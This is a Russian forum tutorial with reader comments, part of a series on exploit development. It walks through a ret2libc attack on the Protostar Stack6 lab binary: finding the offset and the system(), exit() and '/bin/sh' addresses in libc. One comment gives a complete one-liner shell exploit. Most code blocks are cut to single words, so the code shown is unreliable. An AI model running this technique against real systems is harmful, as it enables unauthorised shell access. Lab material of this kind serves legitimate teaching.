![]() |
Все части переполнение буфера
Предыдущая часть Переполнение буфера и размещение шеллкода в памяти - разработка эксплойтов, часть 6 Привет античат =) Прошло много времени с тех пор, как я последний раз писал статью, и я думаю, что пришло время для новой. В предыдущей статье мы познакомились с шеллкодом, и написали с вами первый эксплойт и даже не один, а два, размещали шеллкод в буфере и размещали шеллкод за адресом возврата(RET) при этом используя прием NOP-Sled. А так же узнавали реальные адреса в памяти, анализируя дамп памяти, так, как, под отладчиком адреса не много смещаются.В этой статье мы познакомимся с новым подходом выполнения кода. Описание ExploitMe Stack6 смотрит на то, что происходит, когда у вас есть ограничения на обратный адрес. Этот уровень может быть выполнен несколькими способами, такими как поиск дубликата полезной нагрузки (objdump -s поможет с этим), или ret2libc, или даже обратно ориентированным программированием, ориентированное на возврат (ROP). Настоятельно рекомендуется поэкспериментировать с несколькими способами заставить ваш код выполняться здесь. Stack6, VM Исходный код C: Код:
#include Приступим - рассмотрим исходный код программы. Главная функция main() вызывает подпрограмму, функцию getpath(), эта функция имеет буфер на 64 байта и уязвимую функцию gets(), которая и будет использовать этот буфер, так же у нас есть без знаковая целочисленная переменная обозначенная как ret, в неё будет записан адрес возврата текущей функции, переданный из функции __builtin_return_address(0). Условие в коде (ret & 0xbf000000) == 0xbf000000) говорит нам, что если адрес возврата указывает на стек, программа завершается с кодом (EXIT_FAILURE) т.е. с кодом 1. Запустим отладчик чтобы убедится в этом, а именно посмотрим на регистр ESP и EBP. Код: Код:
gdb -q ./stack6Как нам видно "0xbf .. .. .." это стековые адреса Код: Код:
esp 0xbffffd20 0xbffffd20Код:
quitЗапускаем Код:
pythonPython: Код:
hexЗакрываем интерпретатор питона Код:
Ctrl+DС этого момента в решение этой и последующих задач, мы будет не только приобретать новые знания и опыт, но и осваивать техники эксплуатации. Что же это такое??? Это методы как заюзать уязвимость. Как использовать, эксплуатировать уязвимость. По аналогии приведу пример, чтобы было более менее понятно. Существует допустим уязвимость внедрения SQL-кода на каком-нибудь сайте. Так вот, бывает, что эту уязвимость эксплуатировать легко, а бывает, что не всегда с первого раза SQL-Injection можно раскрутить. И тут нам на помощь приходят всякие кодировки, которые помогают достичь цели. Или же если SQL-Injection не совсем обычная, а Blind типа. И тогда мы уже используем другие методы отходя от привычных или же комбинируем их. Эти методы и есть техники эксплуатации уязвимостей. Возможно пример не самый удачный, но всё же он отражает хоть какую-то суть... Ret2Libc Следующая ступень в эксплуатации бинарных уязвимостей это техника ret2libc. Ret2Libc- это техника эксплуатации когда адрес возврата (RET) функции в стеке подменяется адресом иной функции в программе, и в последующую часть стека записываются параметры для вызываемой функции. Эта техника позволяет нападающему выполнить какую-либо существующую функцию без необходимости внедрения шеллкода в программу. Простыми словами Ret2Libc - это возврат в libc или возврат в библиотеку языка Cи. libc— это стандартная библиотека языка Cи. Она содержит все общие системные функции, включённые в язык программирования C. В одной статье мне понравилось сравнение ret2libc с аналогией из фильма Матрица. Точней говоря одним из моментов этого фильма. Вот этот момент Сцена фильма "Оружие, много оружия", идеально демонстрирует суть Ret2Libc. Оператор смог полностью обойти и перепрограммировать матрицу, чтобы МОРЕ оружия просто появилось из ниоткуда. Всё это оружие это функции в libc. Это и есть ret2libc. Когда мы сделаем переход в эту библиотеку (LibC) у нас появится возможность вызывать все функции которая содержит эта библиотека. Техника ret2libc основана на переполнении буфера. Поэтому нам надо будет перезаписывать данные в стеке, и перезаписать указатель возврата, чтобы указать на конкретную функцию в libc, и передать ей любые аргументы, необходимые для доставки нашей боевой нагрузки. Одной из самых распространённых функций при атаках используя технику Ret2libc является функция system(). Давайте посмотрим на документацию Код: Код:
man systemКод:
Ctrl+ZКак мы видим, функция system() просто выполняет shell-команды. Более того, если мы прочитаем описание, то увидим, что система просто выполняет '/bin/sh -c ', и команда передаётся в функцию через аргумент. Итак, всё, что нам нужно сделать, чтобы получить доступ из командной строки к компьютеру, на котором запущено уязвимое приложение — это вставить'/bin/sh' в стек в качестве аргумента, а затем заменить указатель возврата или вызов адресом памяти функции system(), так чтобы эта функция вызывалась с '/bin/sh' в качестве аргумента, запускала оболочку и предоставляла нам полный доступ через систему. Но для того, чтобы овладеть техникой ret2libc, нужно овладеть техникой "перезаписью сохраненного значения в регистре EIP". Которая применяется при написании классических эксплойтов. Т.е. для простых эксплойтов, где не нужно обходить всякие защиты подобные SEH\DEP, ну или частично... А мы её уже изучили, поэтому нам не составит труда освоить и эту технику эксплуатации. Мы помним что для реализации этой техники эксплуатации "Overwriting saved EIP" надо...
смещение + 4 байта (EIP) адрес шеллкода Как то так... Так же мы знаем еще одну технику NOP-sled. Где мы использовали кучу нопов для выполнения нашего шеллкода который был размещен за адресом возврата (RET). И мы комбинировали их "Overwriting saved EIP" + "NOP-sled". А для реализации техники Ret2Libc нам надо. "Overwriting saved EIP" + "ret2libc"
eipOffset + systemAddr + exitAddr + shellAddr и выполнить его. И так создадим файл eipOffset.txt Код: Код:
nano ~/eipOffset.txtКод: Код:
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZКод:
F2,y,enterЗапускаем отладчик Код: Код:
gdb -q ./stack6Код: Код:
run } 0xb7ecffb0 Python: Код:
fromТеперь нам надо выполнить пункт 4. 4. Получить адрес оболочки '/bin/bash' Для того чтобы узнать адрес воспользуемся командой "info proc map" для того, чтобыотобразим адресное пространство и тем, самым посмотрим где libc загружен в память. Код: Код:
gdb -q ./stack6Отлично адрес мы вычислили, libc загружен по адресу 0xb7e97000. Теперь попробуем найти в памяти строку "/bin/sh". Для того чтобы это сделать воспользуемся командой find, которая помогает осуществлять поиск в памяти. Синтаксис команды такой find адрес, +размер, значение find начальный_адрес, конечный адрес, значение Код: Код:
find 0xb7e97000, +9999999, "/bin/sh"Отладчик выдал нам паттерн (шаблон) по адресу 0xb7fba23f, но когда мы попытались заглянуть в память по этому адресу и результат вывода отобразить память как строчку, то мы не нашли там "/bin/sh". Можно продолжить дальше искать в памяти, что очень затруднительно... Поэтому поступим следующим образом, будем использовать команду strings в Linux. Выходим из отладчика. Код: Код:
quitключ -a указывает на то, что нужно просмотреть весь файл. ключи -t x указывают на то, что надо отобразить смещение в шестнадцатеричном формате. Код: Код:
strings -a -t x /lib/libc-2.11.2.so | grep /bin/shРезультат не заставляет себя ждать, мы нашли строку "/bin/sh" в Libc по смещению 0x11f3bf А сама библиотека Libc загружены по адресу 0xb7e97000 Сложим эти два адреса, что мы имеем. Воспользуемся питоном Запускаем Код:
pythonКод:
shellAddrКод:
Ctrl+Dhttps://forum.antichat.xyz/attachmen...b9700b179c.png Наша строка "/bin/sh" находится в памяти по адресу 0xb7fb63bf. Для большей убедительности проверим в отладчике. Загружаем программу в отладчик, ставим точку останова, и запускаем программу по отладчиком и смотрим наш адрес. Код: Код:
gdb -q ./stack6Отлично мы получили действительный адрес "/bin/sh". Теперь напишем с вами полный эксплойт, так, как не достающий адрес мы вычислили. Открываем редактор и пишем туда Код: Код:
nano ~/exploit.pyPython: Код:
fromКод: Код:
f2,y,enter.https://forum.antichat.xyz/attachmen...2cd7307439.png Код: Код:
id |
Отличный цикл статей)
из статьи не совсем понятно: 1) через пепеполнение буфера перезаписываем адрес возврата в стеке на адрес функции system (), но каким образом на вход функции попадает адрес строки /bin/sh, который мы просто положили в стек? По идеи после перезаписи eip будет выполнен system () без аргумента. Аргумент то остался в стеке по адресу &ret+4байта (exitAddr) 2) зачем мы включаем в эксплоит адрес функции exit? Буду благодарен за разъяснения) |
спасибо, но 1ый пункт все равно понять не могу - в стек ложится адрес exit потом сразу адрес шелла. Из твоего обьяснения выходит аргументом для system() будет сразу и то и то, что вообще не должно выполниться.
Проверил - код рабочий. Видимо я что то концептуального не понимаю. Может кто нибудь на пальцах обьяснить почему в качестве аргумента для функции system берется строка, адрес который лежит в стеке после ret, а потом вызывается еще раз эта же функция, но берется следующий аргумент? |
очень хороший цикл статей) если это все освоить, можно не плохо заработать! легально и нет)))
Цитата:
|
Цитата:
Код:
exitAddr = pack("I", 0xb7ec60c0)Код:
exitAddr = "AAAA"Но когда мы закроем оболочку Код:
Ctrl+DПоэтому для стабильности работы эксплойта добавляется адрес exit() функции. https://forum.antichat.xyz/attachmen...3f66ec2e49.png Про аргументы отпишу чуть позже... |
Добрый день. А с чем связано такое поведение GDB, что он показыает KIND in __gen_tempname? При том если ужать адреса поиска, то все нормально:
(gdb) find 0xb7fb6300, +9999999, "/bin/sh" 0xb7fb63bf warning: Unable to access target memory at 0xb7fd9647, halting search. 1 pattern found. (gdb) x/s 0xb7fb63bf 0xb7fb63bf: "/bin/sh" (gdb) |
Цитата:
|
@fuzzz здравствуйте! У меня возникла проблема-не работает эксплоит хоть адреса и верные
Код: Код:
root@reffy:/home/centurion# (python exploit.py ; cat) | ./vuln2 |
Цитата:
Т.е. Код: Код:
./программаКод: Код:
./vuln `python -c "from struct import pack; eip='A'*80; system=pack('I', 0xb7e44b40); exit=pack('I', 0xb7e387f0); shell=pack('I', 0xb7f678c8); print eip + system + exit +shell"; cat` |
При выполнении system() создаётся новый стековый фрейм. Когда он создаётся, вместо, то там, где раньше был адрес eip появляется ebp. Далее эта функция должна взять где-то аргумент - ebp+8. Так получается, что этот адрес падает туда, куда и была положена строка "/bin/sh".
В свою очередь exit() оказывается на месте ret. В итоге функция выполняется успешно и завершается без ошибок. Я так понял. Если где-то не прав, то прошу исправить) Ссылка с объяснением: https://shellblade.net/files/docs/ret2libc.pdf |
| Время: 01:16 |